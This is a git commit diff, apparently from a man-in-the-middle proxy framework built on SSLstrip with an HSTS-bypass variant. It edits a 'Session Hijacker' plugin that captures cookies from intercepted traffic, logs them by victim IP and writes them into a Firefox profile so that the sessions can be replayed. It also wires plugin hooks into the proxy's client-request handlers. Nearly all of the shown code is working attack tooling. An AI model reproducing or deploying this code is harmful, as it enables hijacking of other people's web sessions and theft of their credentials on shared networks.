This commit is contained in:
byt3bl33d3r 2014-11-29 17:12:21 +01:00
parent 78dcfc0383
commit cded43f0c6
4 changed files with 11 additions and 6 deletions

View file

@ -8,7 +8,6 @@ import sys
import time import time
import logging import logging
import sqlite3 import sqlite3
#import threading
class SessionHijacker(Plugin): class SessionHijacker(Plugin):
name = "Session Hijacker" name = "Session Hijacker"
@ -52,9 +51,6 @@ class SessionHijacker(Plugin):
eq = cookie.find("=") eq = cookie.find("=")
cname = str(cookie)[0:eq].strip() cname = str(cookie)[0:eq].strip()
cvalue = str(cookie)[eq+1:].strip() cvalue = str(cookie)[eq+1:].strip()
#t = threading.Thread(name='firefoxdb', target=self.firefoxdb, args=(headers['host'], cname, cvalue, url, client_ip))
#t.setDaemon(True)
#t.start()
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
else: else:
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
@ -120,4 +116,5 @@ class SessionHijacker(Plugin):
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies') options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')
def finish(self): def finish(self):
print "[*] To load a session run: 'firefox -profile <client-ip> logs/<client-ip>'" if self.firefox:
print "\n[*] To load a session run: 'firefox -profile <client-ip> logs/<client-ip>/visited.html'"

View file

@ -33,6 +33,7 @@ from SSLServerConnection import SSLServerConnection
from URLMonitor import URLMonitor from URLMonitor import URLMonitor
from CookieCleaner import CookieCleaner from CookieCleaner import CookieCleaner
from DnsCache import DnsCache from DnsCache import DnsCache
from ProxyPlugins import ProxyPlugins
class ClientRequest(Request): class ClientRequest(Request):
@ -48,6 +49,7 @@ class ClientRequest(Request):
self.urlMonitor = URLMonitor.getInstance() self.urlMonitor = URLMonitor.getInstance()
self.cookieCleaner = CookieCleaner.getInstance() self.cookieCleaner = CookieCleaner.getInstance()
self.dnsCache = DnsCache.getInstance() self.dnsCache = DnsCache.getInstance()
self.plugins = ProxyPlugins.getInstance()
#self.uniqueId = random.randint(0, 10000) #self.uniqueId = random.randint(0, 10000)
def cleanHeaders(self): def cleanHeaders(self):
@ -67,6 +69,8 @@ class ClientRequest(Request):
if 'cache-control' in headers: if 'cache-control' in headers:
del headers['cache-control'] del headers['cache-control']
self.plugins.hook()
return headers return headers
def getPathFromUri(self): def getPathFromUri(self):

View file

@ -33,6 +33,7 @@ from SSLServerConnectionHSTS import SSLServerConnection
from URLMonitorHSTS import URLMonitor from URLMonitorHSTS import URLMonitor
from CookieCleaner import CookieCleaner from CookieCleaner import CookieCleaner
from DnsCache import DnsCache from DnsCache import DnsCache
from ProxyPlugins import ProxyPlugins
class ClientRequest(Request): class ClientRequest(Request):
@ -48,6 +49,7 @@ class ClientRequest(Request):
self.urlMonitor = URLMonitor.getInstance() self.urlMonitor = URLMonitor.getInstance()
self.cookieCleaner = CookieCleaner.getInstance() self.cookieCleaner = CookieCleaner.getInstance()
self.dnsCache = DnsCache.getInstance() self.dnsCache = DnsCache.getInstance()
self.plugins = ProxyPlugins.getInstance()
# self.uniqueId = random.randint(0, 10000) # self.uniqueId = random.randint(0, 10000)
def cleanHeaders(self): def cleanHeaders(self):
@ -82,6 +84,8 @@ class ClientRequest(Request):
headers['securelink'] = '1' headers['securelink'] = '1'
self.setHeader('Host',host) self.setHeader('Host',host)
self.plugins.hook()
return headers return headers
def getPathFromUri(self): def getPathFromUri(self):

View file

@ -62,7 +62,7 @@ class ServerConnection(HTTPClient):
def sendRequest(self): def sendRequest(self):
if self.command == 'GET': if self.command == 'GET':
logging.info("%s Sending Request: %s %s" % (self.client.getClientIP(), self.command, self.headers['host'])) logging.info("%s Sending Request: %s" % (self.client.getClientIP(), self.headers['host']))
self.plugins.hook() self.plugins.hook()
self.sendCommand(self.command, self.uri) self.sendCommand(self.command, self.uri)